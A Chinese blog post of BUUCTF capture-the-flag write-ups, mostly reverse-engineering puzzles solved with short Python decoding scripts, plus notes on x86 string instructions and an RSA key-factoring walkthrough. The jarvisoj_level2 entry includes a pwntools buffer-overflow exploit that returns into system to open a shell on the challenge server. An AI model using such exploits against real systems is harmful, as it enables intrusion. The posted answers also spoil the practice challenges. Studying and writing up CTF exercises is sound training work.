buuctf(re)

reverse1

1.shift+f12查看下字符串,发现可疑
在这里插入图片描述跟踪到
在这里插入图片描述

2.关键Str2={hello_world},不过上面有个for循环替换了部分字母。

在这里插入图片描述
在这里插入图片描述
把o换成数字0。

3.得出flag。2021.4.3

reverse2

在这里插入图片描述
在这里插入图片描述完。2021.4.4

内涵的软件

1.无壳
2.拖进OD
在这里插入图片描述3.完。2021.4.6

新年快乐

1.查壳
在这里插入图片描述2.IDA里走一走
在这里插入图片描述3.完。2021/4/6

补充复习指令

在这里插入图片描述

movsb

MOVSB即字符串传送指令,这条指令按字节传送数据。通过SI和DI这两个寄存器控制字符串的源地址和目标地址,比如DS:SI这段地址的N个字节复制到ES:DI指向的地址,复制后DS:SI的内容保持不变。

stosb

该指令为单字符输出指令,调用该指令后,可以将累加器AL中的值传递到当前ES段的DI地址处,并且根据DF的值来影响DI的值,如果DF为0,则调用该指令后,DI自增1。

scasb

REPNE SCASB是不相等则重复查找的字符串搜索指令,如果找到,ZF=1则退出指令的执行;如果没找到,已全部找遍则退出。因每执行一次SCASB指令后,DI内容增1,而找到字符在字符串缓冲区中的地址,应该是增1以前的DI中的内容,所以要执行DEC ID指令,回到字符串中的“$”字符所在地址。

helloword

APK第一次接触 ,工具安装好查Main函数,直接flag告诉你。

在这里插入图片描述

xor

1.无壳,查看main
在这里插入图片描述
2.查看global数据
在这里插入图片描述在这里插入图片描述
3.xor还原

str1 = ['f',0x0A,'k',0x0C,'w','&','O','.','@',0x11,'x',0x0D,'Z',';','U',0x11,'p',0x19,'F',0x1F,'v','"','M','#','D',0x0E,'g',6,'h',0x0F,'G','2','O']
flag = 'f'

for i in range(1,len(str1)):
    if(isinstance(str1[i],str)):
        if(isinstance(str1[i-1],str)):
            flag += chr(ord(str1[i])^ord(str1[i-1]))	#同是str类型
        else:
            flag +=chr(ord(str1[i])^str1[i-1])	#前str型,后int型
    else:
        flag += chr(str1[i]^ord(str1[i-1]))	#前int型,后str型

print(flag)

reverse3

1.逆过程即可得出str
在这里插入图片描述2.str加密的函数
在这里插入图片描述
在这里插入图片描述最后结果,可判断时base64加密。

在这里插入图片描述
3.str2内容
在这里插入图片描述
4.实现逆过程

import base64

str1 =  'e3nifIH9b_C@n@dH'
temp = ''
flag = ''

for i in range(0,len(str1)):
    temp += chr(ord(str1[i]) - i)

flag = base64.b64decode(temp)
flag = flag.decode('ASCII')
print(flag)

不一样的flag

1.无壳,跑起来看看
在这里插入图片描述

操作上下左右,推测迷宫游戏。
2.搜索字符串
在这里插入图片描述共25个数字,正好5X5的地图

在这里插入图片描述

0可走,1不可走。

IDA中验证走迷宫猜想:
在这里插入图片描述(v4,v5)即初始起点(0,0)。

4.正确路线
222441144222
在这里插入图片描述
上面路线就是flag

SimpleRev

1.查看文件信息,小端序
在这里插入图片描述
2.IDA查看加密函数
在这里插入图片描述3.加密算法
str2[v2] = (v1 - 39 - key[v3++ % len(key)] + 97) % 26 + 97;

v1换成flag[i]则,
flag[i] = str2[v2] - 97 + 26*j - 97 +key[v3%v5] +39

j的范围(0,10),10也可以换成大点数不过不影响了。

4.解密

text = "killshadow"
key = "ADSFKNDCLS"

key1 = ""
flag = ""

for i in key:
    key1 += chr(ord(i) + 32)

v3 = 0
v5 = len(key1)
for i in range(0,len(text)):
    for j in range(0,10):
        str = ord(text[i])-97 + 26*j - 97 +ord(key1[v3%v5]) +39

        if(str >=65 and str <=90 or str >=97 and str <= 122):
            flag += chr(str)
            break
    v3 += 1
print(flag)

Java逆向解密

1.IDEA打开,查看关键加密
在这里插入图片描述
2.逆推arr[i]

strs = [180, 136, 137, 147, 191, 137, 147, 191,
 148, 136, 133, 191, 134, 140, 129, 135, 191, 65]

flag = ""

for i in range(0,len(strs)):
    flag += chr(strs[i] - 64^32)

print(flag)

luck_guy

1.无壳,elf文件。
在这里插入图片描述
2.执行一遍,了解大概流程。
在这里插入图片描述
3.关键函数
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3.逆推脚本

f1='GXY{do_not_'
s0='fo`guci'	#小端序
s=s0[::-1]      #[::-1]从最后一个元素到第一个元素复制一遍,即倒序。
print(s)
key=""
flag=""
for i in range(8):
    if i%2==1:
        key+=chr(ord(s[i])-2)
    else:
        key+=chr(ord(s[i])-1)
flag=f1+key
print(flag)

jarvisoj_level2

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述2.
在这里插入图片描述

3.exp

from pwn import *
sh = remote('node3.buuoj.cn',25404)
#sh = process('./level2')

payload = b'a'*0x88 + p32(0xdeadbeef) + p32(0x8048320)+p32(0xdeadbeef)+p32(0x804a024)
sh.sendline(payload)
sh.interactive()

findit

又是安卓的题目,用APKIDE打开。
1.main里面发现奇怪的字符串
在这里插入图片描述
2.转换成字符串

str1 = [0x70,
0x76,
0x6b,
0x71,
0x7b,
0x6d,
0x31,
0x36,
0x34,
0x36,
0x37,
0x35,
0x32,
0x36,
0x32,
0x30,
0x33,
0x33,
0x6c,
0x34,
0x6d,
0x34,
0x39,
0x6c,
0x6e,
0x70,
0x37,
0x70,
0x39,
0x6d,
0x6e,
0x6b,
0x32,
0x38,
0x6b,
0x37,
0x35,
0x7d,
]

x = ""
for i in str1:
    x += chr(i)
   
print(x)

在这里插入图片描述
3.凯撒密码解密
在这里插入图片描述位移一个一个试出来的。

简单注册器

1.apk
在这里插入图片描述

JustRe

1.IDA搜索String

在这里插入图片描述
2.交叉引用
在这里插入图片描述
3.两个%d的值
在这里插入图片描述19999和0,带入BJD得出flag

RSA

在这里插入图片描述
文件夹里面就两个文件,一个flag,一个pub.key公钥。
解决:通过公钥得出 q,p,n,e获得private私钥去获得flag。

利用kali里面的工具openssl获得相关数据(把pub的后缀改为.pem):
openssl使用方法说明

openssl rsa -pubin -text -modulus -in warmup -in pub.pem 

在这里插入图片描述
在这里插入图片描述
n转成十进制,利用在线工具获得q,p在线工具http://www.factordb.com
在这里插入图片描述
利用rsatool工具生成私钥https://github.com/ius/rsatool安装地址(gmpy2记得安装依赖放报错 sudo apt-get install libmpc-dev )

python3 rsatool.py -o private.pem -e 65537 -p 285960468890451637935629440372639283459 -q 	304008741604601924494328155975272418463

在这里插入图片描述

利用生成的private私钥解密flag.enc

openssl rsautl -decrypt -in flag.enc -inkey private.pem

bingo!!
在这里插入图片描述

[ACTF新生赛2020]easyre

1,查壳
UPX壳

upx -d easyre.exe	//脱掉

2,拖进IDA
MAIN函数
在这里插入图片描述
已知V4,V6和_data_start 求v5即flag。
在这里插入图片描述
IDA中H查值,R转换显示形式,可见V4数值。
在这里插入图片描述

v4 = [42,70,39,34,78,44,34,40,73,63,43,64]	#v4列表
#r:防特殊字符转义
str = r'~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('+chr(0x27)+r'&%$# !"'
s=[]
flag1 = ''
for i in v4:
    print(i)
    s.append(str.find(chr(i))+1)	#V4中find下标+1,即V5
    print(s)
for i in s:
    flag1 += chr(i)
print(flag1)
 

在这里插入图片描述

CrackRTF

1,无壳子,直接IDA32
在这里插入图片描述
大概流程:
输入两次密码,都正确的话应该就出flag。

2,进入第一个加密函数,sub_40100A。
在这里插入图片描述
猜测HASH加密,具体哪种查找WINDOWS API手册查找
在这里插入图片描述
在这里插入图片描述
在线解密(也可以脚本爆破,参考了其他同学的wp范围都直接给出,不太清楚所以就没用脚本方法)这里在线sha1解密没免费的不出结果,MD5反倒可以。
在这里插入图片描述
第一次密码:

123321

3,sub_40100Asub_401019加密方式是相似的,只是key不同。
下面逆推分析第二次输入密码。
突破口sub_40100F函数

在这里插入图片描述
此函数功能大致流程:获取AAA资源的内容,lpString是前面传入的Str,即第二次输入的密码,长度位6(后面会用到),经sub_401005函数处理AAA资源内容和Str处理,生产.rtf文件(点题,RTF)。

可以用工具去查看.rtf文件的后缀
工具名:Resource_Hacker(资源网上找哈,好多)
自己创建个文件随便添加点东西改后缀名字.rtf(取前六个字符)
在这里插入图片描述
同时用此工具查看 自身文件资源:(也取前6个字节)
在这里插入图片描述
运算规则(异或):
在这里插入图片描述

result = '{\\rtf1'	#\python中特殊字符\转义
a2 = [0x05,0x7D,0x41,0x15,0x26,0x01]	#AAA资源里面读取的

flag=''
for i in range(0,len(result)):
	x = ord(result[i])^a2[i]	#ord()函数 字符转为ASCII码
	flag += chr(x)
print(flag)

在这里插入图片描述

	~!3a@0

3.输入两次正确密码,生产.rtf文件(内含flag)
在这里插入图片描述
在这里插入图片描述
总结:整体流程分析不难,难的是解密…理解了很久。

[2019红帽杯]easyRE

1,先给参考吧,这题有点坑,答案ez过程一点不ez。
参考:https://www.freesion.com/article/5037732979/

2,IDA分析,第一反应看start函数
在这里插入图片描述
一个一个分析,进入sub_4009C6()函数
在这里插入图片描述
关键off_6CC090
在这里插入图片描述

3,真实flag位置
在这里插入图片描述
关于流程为什么会走到这里很奇怪,下面给出参考解释:
在这里插入图片描述

而.fini段的解释是:
此节区包含了可执行的指令,是进程终止代码的一部分。
程序正常退出时,系统将安排执行这里的代码。

4,解密flag
在这里插入图片描述

s = [0x40,0x35,0x20,0x56,0x5D,0x18,0x22,0x45,0x17,0x2F,0x24,0x6E,0x62,
     0x3C,0x27,0x54,0x48,0x6C,0x24,0x6E,0x72,0x3C,0x32,0x45,0x5B]
s1 = 'flag'
key = ''
flag = ''
for i in range(4):
    key += chr(s[i] ^ ord(s1[i]))
for j in range(len(s)):
    flag += chr(s[j] ^ ord(key[j%4]))
print(flag)

在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值